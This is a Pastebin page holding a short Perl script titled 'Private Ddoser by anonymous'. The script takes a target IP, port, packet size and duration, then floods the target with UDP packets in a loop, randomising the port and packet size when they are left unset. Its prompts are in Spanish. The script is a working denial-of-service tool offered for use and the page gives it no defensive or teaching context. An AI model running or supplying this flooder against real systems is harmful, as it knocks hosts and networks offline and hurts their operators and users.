Advertisement
Guest User

Untitled

a guest
Aug 27th, 2016
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.85 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Socket;
  4. use strict;
  5.  
  6. print '
  7. Private Ddoser by anonymous
  8. ';
  9. print "\n";
  10.  
  11.  
  12. if ($#ARGV != 3) {
  13. print "\tUsage: perl ddos.pl X.X.X.X 80 1000 300\n";
  14. exit(1);
  15. }
  16.  
  17. my ($ip,$port,$size,$time) = @ARGV;
  18. my ($iaddr,$endtime,$psize,$pport);
  19. $iaddr = inet_aton("$ip") or die "No puede conectarse a $ip\n";
  20. $endtime = time() + ($time ? $time : 1000000);
  21. socket(flood, PF_INET, SOCK_DGRAM, 17);
  22. print "Para cancelar el ataque presiona \'Ctrl-C\'\n\n";
  23. print "IP:\t\t Puerto:\t\t Paquetes:\t\t Tiempo:\n";
  24. print "$ip\t\t $port\t\t\t $size\t\t\t $time\n";
  25. print "Para cancelar el ataque presiona \'Ctrl-C\'\n" unless $time;
  26. for (;time() <= $endtime;) {
  27. $psize = $size ? $size : int(rand(1500-64)+64) ;
  28. $pport = $port ? $port : int(rand(65500))+1;
  29.  
  30. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement